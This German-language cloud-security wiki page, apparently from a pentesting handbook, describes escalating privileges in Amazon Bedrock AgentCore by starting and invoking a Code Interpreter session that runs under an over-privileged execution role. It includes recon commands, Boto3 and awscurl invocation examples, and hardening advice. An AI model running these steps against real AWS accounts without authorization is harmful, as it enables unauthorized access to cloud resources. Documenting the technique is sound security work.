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2026-02-12 19:51:58 +00:00
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# AWS - Bedrock PrivEsc
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## Amazon Bedrock AgentCore
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
Der AgentCore Code Interpreter ist eine verwaltete Ausführungsumgebung. **Custom Code Interpreters** können mit einem **`executionRoleArn`** konfiguriert werden, das „Berechtigungen für den Code Interpreter bereitstellt, um auf AWS-Services zuzugreifen“.
Wenn ein **IAM-Principal mit geringeren Rechten** eine Code Interpreter-Session **starten + aufrufen** kann, die mit einer **höher privilegierten Execution-Rolle** konfiguriert ist, kann der Anrufer effektiv **in die Berechtigungen der Execution-Rolle pivoten** (lateral movement / privilege escalation abhängig vom Umfang der Rolle).
> [!NOTE]
> Dies ist typischerweise ein **Fehlkonfiguration / übermäßige Berechtigungen**-Problem (zu weite Rechte für die Interpreter-Execution-Rolle und/oder zu breite Invoke-Rechte).
> AWS warnt explizit davor, Privilegieneskalation zu vermeiden, indem Execution-Rollen **gleich viele oder weniger** Rechte haben als die Identitäten, denen Invoke erlaubt ist.
#### Preconditions (common misconfiguration)
- Ein **custom code interpreter** existiert mit einer überprivilegierten **Execution-Rolle** (z. B. Zugriff auf sensitive S3/Secrets/SSM oder IAM-admin-ähnliche Fähigkeiten).
- Ein Benutzer (Entwickler/Auditor/CI-Identität) hat Berechtigungen für:
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
- (Optional) Der Benutzer kann auch Interpreter erstellen: `bedrock-agentcore:CreateCodeInterpreter` (ermöglicht ihnen, je nach organisatorischen Richtlinien einen neuen Interpreter mit einer Execution-Rolle zu erstellen).
#### Recon (identify custom interpreters and execution role usage)
Interpreter auflisten (control-plane) und deren Konfiguration prüfen:
```bash
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
````
> Der create-code-interpreter-Befehl unterstützt `--execution-role-arn`, das definiert, welche AWS-Berechtigungen der Interpreter haben wird.
#### Schritt 1 - Eine Session starten (dies gibt eine `sessionId` zurück, not an interactive shell)
```bash
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
```
#### Schritt 2 - Codeausführung aufrufen (Boto3 oder signed HTTPS)
Es gibt **keine interaktive python-Shell** von `start-code-interpreter-session`. Die Ausführung erfolgt über **InvokeCodeInterpreter**.
**Option A - Boto3 Beispiel (Python ausführen + Identität prüfen):**
```python
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
```
Wenn der Interpreter mit einer Ausführungsrolle konfiguriert ist, sollte die Ausgabe von `sts:GetCallerIdentity()` die Identität dieser Rolle widerspiegeln (nicht die des niedrig privilegierten Aufrufers), was den Pivot demonstriert.
**Option B - Signierter HTTPS-Aufruf (awscurl):**
```bash
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
```
#### Auswirkungen
* **Lateral movement** in jeden AWS-Zugriff, den die interpreter execution role hat.
* **Privilege escalation** wenn die interpreter execution role privilegierter ist als der Aufrufer.
* Schwerer zu erkennen, wenn CloudTrail data events für interpreter-Aufrufe nicht aktiviert sind (Aufrufe werden je nach Konfiguration möglicherweise standardmäßig nicht protokolliert).
#### Gegenmaßnahmen / Härtung
* **Least privilege** auf der interpreter `executionRoleArn` (behandle es wie Lambda execution roles / CI roles).
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) und wer Sitzungen starten kann.
* Verwende **SCPs**, um InvokeCodeInterpreter zu verweigern, außer für genehmigte agent runtime roles (Durchsetzung auf Org-Ebene kann notwendig sein).
* Aktiviere geeignete **CloudTrail data events** für AgentCore, wo anwendbar; alarmiere bei unerwarteten Aufrufen und bei Erstellung von Sessions.
## References
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
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